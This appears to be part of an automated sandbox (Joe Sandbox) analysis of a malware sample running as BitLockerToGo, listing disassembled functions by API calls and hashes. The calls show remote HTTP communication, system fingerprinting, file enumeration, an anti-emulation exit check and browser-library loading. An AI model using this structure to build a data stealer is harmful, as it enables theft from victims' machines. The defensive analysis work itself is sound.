Opcode Fuzzy Hash: e5f0ed5bebbb189d234b4b6c823b24bd9b1debc7a85ed89ae3b9caced1be251b
Instruction Fuzzy Hash: CAF05E38A8230DABE710FBA0EC59BBF7B74EB44741F408914F903A91C0CBB15550CA55

Function 030151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Part of subcall function 03006280: InternetOpenA.WININET(03020DFE,00000001,00000000,00000000,00000000), ref: 030062E1
Part of subcall function 03006280: StrCmpCA.SHLWAPI(?,03554CA0), ref: 03006303
Part of subcall function 03006280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03006335
Part of subcall function 03006280: HttpOpenRequestA.WININET(00000000,GET,?,03556390,00000000,00000000,00400100,00000000), ref: 03006385
Part of subcall function 03006280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 030063BF
Part of subcall function 03006280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 030063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 03015228

Strings

ERROR, xrefs: 03015273
ERROR, xrefs: 0301521A

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 38ee5a5abf653e7c2eac7ea7ee722b36f781dbe0c8907843f6adf126e35b7c08
Instruction ID: 4b2dae367ac209414c0f22fa6f1ade34a78b5e47d0c1d5f61faa47a557371f6d
Opcode Fuzzy Hash: 38ee5a5abf653e7c2eac7ea7ee722b36f781dbe0c8907843f6adf126e35b7c08
Instruction Fuzzy Hash: 35115639A03248ABDB18FF70DD50AED7738AF90210F804554E81A4F591EF706B2AC790

Function 03014F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 03018DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 03018E0B

lstrcat.KERNEL32(?,00000000), ref: 03014F7A
lstrcat.KERNEL32(?,03021070), ref: 03014F97
lstrcat.KERNEL32(?,03554CF0), ref: 03014FAB
lstrcat.KERNEL32(?,03021074), ref: 03014FBD

Part of subcall function 03014910: wsprintfA.USER32 ref: 0301492C
Part of subcall function 03014910: FindFirstFileA.KERNEL32(?,?), ref: 03014943

Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FDC), ref: 03014971
Part of subcall function 03014910: StrCmpCA.SHLWAPI(?,03020FE0), ref: 03014987
Part of subcall function 03014910: FindNextFileA.KERNEL32(000000FF,?), ref: 03014B7D
Part of subcall function 03014910: FindClose.KERNEL32(000000FF), ref: 03014B92

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8bb213eceae75d61bcc7698cb2f1a10d4a47c8a5a661e1c3907d65f168495176
Instruction ID: 6b5f6307fcc1518b816649aceb1327d83f1c43a73d3d80739067fa16fb363502
Opcode Fuzzy Hash: 8bb213eceae75d61bcc7698cb2f1a10d4a47c8a5a661e1c3907d65f168495176
Instruction Fuzzy Hash: 7021B87E941304ABD754F7A0FC49EDD373CA794700F008548B65A5A184EF7497C98B91

Function 03010740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,03554C00), ref: 0301079A
StrCmpCA.SHLWAPI(00000000,03554DA0), ref: 03010866
StrCmpCA.SHLWAPI(00000000,03554BF0), ref: 0301099D

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: f9082cfdbed2529b63094ac6bb495b4da7b17c9a0dd7be4a2ae9a520413d4587
Instruction ID: aa6fb745ec7d429f7126ae1b421bd2d99c3bc8b87ca18a64430a66249e87cc06
Opcode Fuzzy Hash: f9082cfdbed2529b63094ac6bb495b4da7b17c9a0dd7be4a2ae9a520413d4587
Instruction Fuzzy Hash: 82916879B112089FDB28EF64D995AEE77B9FFD4300F408519D8099F281DB309A16CB91

Function 03010765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,03554C00), ref: 0301079A
StrCmpCA.SHLWAPI(00000000,03554DA0), ref: 03010866
StrCmpCA.SHLWAPI(00000000,03554BF0), ref: 0301099D

Part of subcall function 0301A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0301A7E6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 44073aa3e97505378175ded7249fb5f4155416f493f21e4b48c843c1df60b40b
Instruction ID: a5921ec169be3d25a322911392467b119684151cf22913444c334f4e79c26027
Opcode Fuzzy Hash: 44073aa3e97505378175ded7249fb5f4155416f493f21e4b48c843c1df60b40b
Instruction Fuzzy Hash: E8817679B112089FCB18EF64D995AEEB7B6FFD4300F508519D8099F245DB30AB16CB81

Function 030178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,03016A2B), ref: 03017910
RtlAllocateHeap.NTDLL(00000000), ref: 03017917
GetComputerNameA.KERNEL32(?,00000104), ref: 0301792F

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 784a74a341ab64cfe0fe320cbf0b3b4554d8f9617343160e6682d0fe3fee76f3
Instruction ID: dc9a60619341943e14fd79834870d9ef222a7eecd0140238f9518dbf284593d1
Opcode Fuzzy Hash: 784a74a341ab64cfe0fe320cbf0b3b4554d8f9617343160e6682d0fe3fee76f3
Instruction Fuzzy Hash: 7101A4B1A45208EFD700DF98E949BAFBBFCFB04B21F10425AFA45E3280C37459048BA1

Function 6CC73060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CC73095

Part of subcall function 6CC735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CCFF688,00001000), ref: 6CC735D5
Part of subcall function 6CC735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CC735E0
Part of subcall function 6CC735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CC735FD
Part of subcall function 6CC735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CC7363F
Part of subcall function 6CC735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CC7369F
Part of subcall function 6CC735A0: __aulldiv.LIBCMT ref: 6CC736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7309F

Part of subcall function 6CC95B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CC956EE,?,00000001), ref: 6CC95B85
Part of subcall function 6CC95B50: EnterCriticalSection.KERNEL32(6CCFF688,?,?,?,6CC956EE,?,00000001), ref: 6CC95B90
Part of subcall function 6CC95B50: LeaveCriticalSection.KERNEL32(6CCFF688,?,?,?,6CC956EE,?,00000001), ref: 6CC95BD8
Part of subcall function 6CC95B50: GetTickCount64.KERNEL32 ref: 6CC95BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CC730BE

Part of subcall function 6CC730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CC73127
Part of subcall function 6CC730F0: __aulldiv.LIBCMT ref: 6CC73140

Part of subcall function 6CCAAB2A: __onexit.LIBCMT ref: 6CCAAB30

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 1142fdd2cce221b6a55510a890417efca5bb51063005d0168b9bb94b21e9e2fa
Instruction ID: 8e0795a26bf67a99ea1b12da9257685c9c1b4ff47b7f0dd40ddf3175cac979c1
Opcode Fuzzy Hash: 1142fdd2cce221b6a55510a890417efca5bb51063005d0168b9bb94b21e9e2fa
Instruction Fuzzy Hash: 7FF0F422E20B499ACA10DF74A8411EEB3B0EF6B214F505319E8A467661FF20A1D9C396

Function 03019470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 03019484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 030194A5
CloseHandle.KERNEL32(00000000), ref: 030194AF

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 4fc58b8528ba46fa34305869a35ca3dbe3baaeedbb67c42330990d985e3d7b9c
Instruction ID: a4fb889a383ce071cd376f06bed0114efff40c2afdf8008fcb2cad483e353c72
Opcode Fuzzy Hash: 4fc58b8528ba46fa34305869a35ca3dbe3baaeedbb67c42330990d985e3d7b9c
Instruction Fuzzy Hash: 67F0547994020CFBDB15EF94EC4DFED7778EB08710F008454BA095B180D7B45A85CB90

Function 03001110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,03016A1C), ref: 0300112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,03016A1C), ref: 03001132
ExitProcess.KERNEL32 ref: 03001143

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 802dfad3297e466209cd6a167a078182725109781702f2aadfdc66f8b16dc2b9
Instruction ID: ecac5561627ec86e1c40491935c6ee6ccf9c7d731f742486db4842b189af5f5f
Opcode Fuzzy Hash: 802dfad3297e466209cd6a167a078182725109781702f2aadfdc66f8b16dc2b9
Instruction Fuzzy Hash: F5E0E678985308FBF754BBA5FD0EB4D76B8EF04B05F504054F7097A1C4D7B526009699

Function 03011A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Part of subcall function 0301A9B0: lstrlen.KERNEL32(?,03021110,?,00000000,03020AEF), ref: 0301A9C5
Part of subcall function 0301A9B0: lstrcpy.KERNEL32(00000000), ref: 0301AA04
Part of subcall function 0301A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0301AA12

Part of subcall function 0301A8A0: lstrcpy.KERNEL32(?,03020AEF), ref: 0301A905

Part of subcall function 03017500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 03017542
Part of subcall function 03017500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0301757F
Part of subcall function 03017500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 03017603
Part of subcall function 03017500: RtlAllocateHeap.NTDLL(00000000), ref: 0301760A

Part of subcall function 0301A920: lstrcpy.KERNEL32(00000000,?), ref: 0301A972
Part of subcall function 0301A920: lstrcat.KERNEL32(00000000), ref: 0301A982

Part of subcall function 03017690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 030176A4
Part of subcall function 03017690: RtlAllocateHeap.NTDLL(00000000), ref: 030176AB

Part of subcall function 030177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0301DBC0,000000FF,?,03011C99,00000000,?,035559B0,00000000,?), ref: 030177F2
Part of subcall function 030177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0301DBC0,000000FF,?,03011C99,00000000,?,035559B0,00000000,?), ref: 030177F9

Part of subcall function 03017850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,030011B7), ref: 03017880
Part of subcall function 03017850: RtlAllocateHeap.NTDLL(00000000), ref: 03017887
Part of subcall function 03017850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0301789F

Part of subcall function 030178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,03016A2B), ref: 03017910
Part of subcall function 030178E0: RtlAllocateHeap.NTDLL(00000000), ref: 03017917
Part of subcall function 030178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0301792F

Part of subcall function 03017980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,03020E00,00000000,?), ref: 030179B0
Part of subcall function 03017980: RtlAllocateHeap.NTDLL(00000000), ref: 030179B7
Part of subcall function 03017980: GetLocalTime.KERNEL32(?,?,?,?,?,03020E00,00000000,?), ref: 030179C4
Part of subcall function 03017980: wsprintfA.USER32 ref: 030179F3

Part of subcall function 03017A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,03555F28,00000000,?,03020E10,00000000,?,00000000,00000000), ref: 03017A63
Part of subcall function 03017A30: RtlAllocateHeap.NTDLL(00000000), ref: 03017A6A
Part of subcall function 03017A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,03555F28,00000000,?,03020E10,00000000,?,00000000,00000000,?), ref: 03017A7D

Part of subcall function 03017B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,03555F28,00000000,?,03020E10,00000000,?,00000000,00000000), ref: 03017B35

Part of subcall function 03017B90: GetKeyboardLayoutList.USER32(00000000,00000000,030205AF), ref: 03017BE1
Part of subcall function 03017B90: LocalAlloc.KERNEL32(00000040,?), ref: 03017BF9
Part of subcall function 03017B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 03017C0D
Part of subcall function 03017B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 03017C62
Part of subcall function 03017B90: LocalFree.KERNEL32(00000000), ref: 03017D22

Part of subcall function 03017D80: GetSystemPowerStatus.KERNEL32(?), ref: 03017DAD

GetCurrentProcessId.KERNEL32(00000000,?,03555890,00000000,?,03020E24,00000000,?,00000000,00000000,?,03555F88,00000000,?,03020E20,00000000), ref: 0301207E

Part of subcall function 03019470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 03019484
Part of subcall function 03019470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 030194A5
Part of subcall function 03019470: CloseHandle.KERNEL32(00000000), ref: 030194AF

Part of subcall function 03017E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 03017E37
Part of subcall function 03017E00: RtlAllocateHeap.NTDLL(00000000), ref: 03017E3E
Part of subcall function 03017E00: RegOpenKeyExA.KERNEL32(80000002,03551230,00000000,00020119,?), ref: 03017E5E
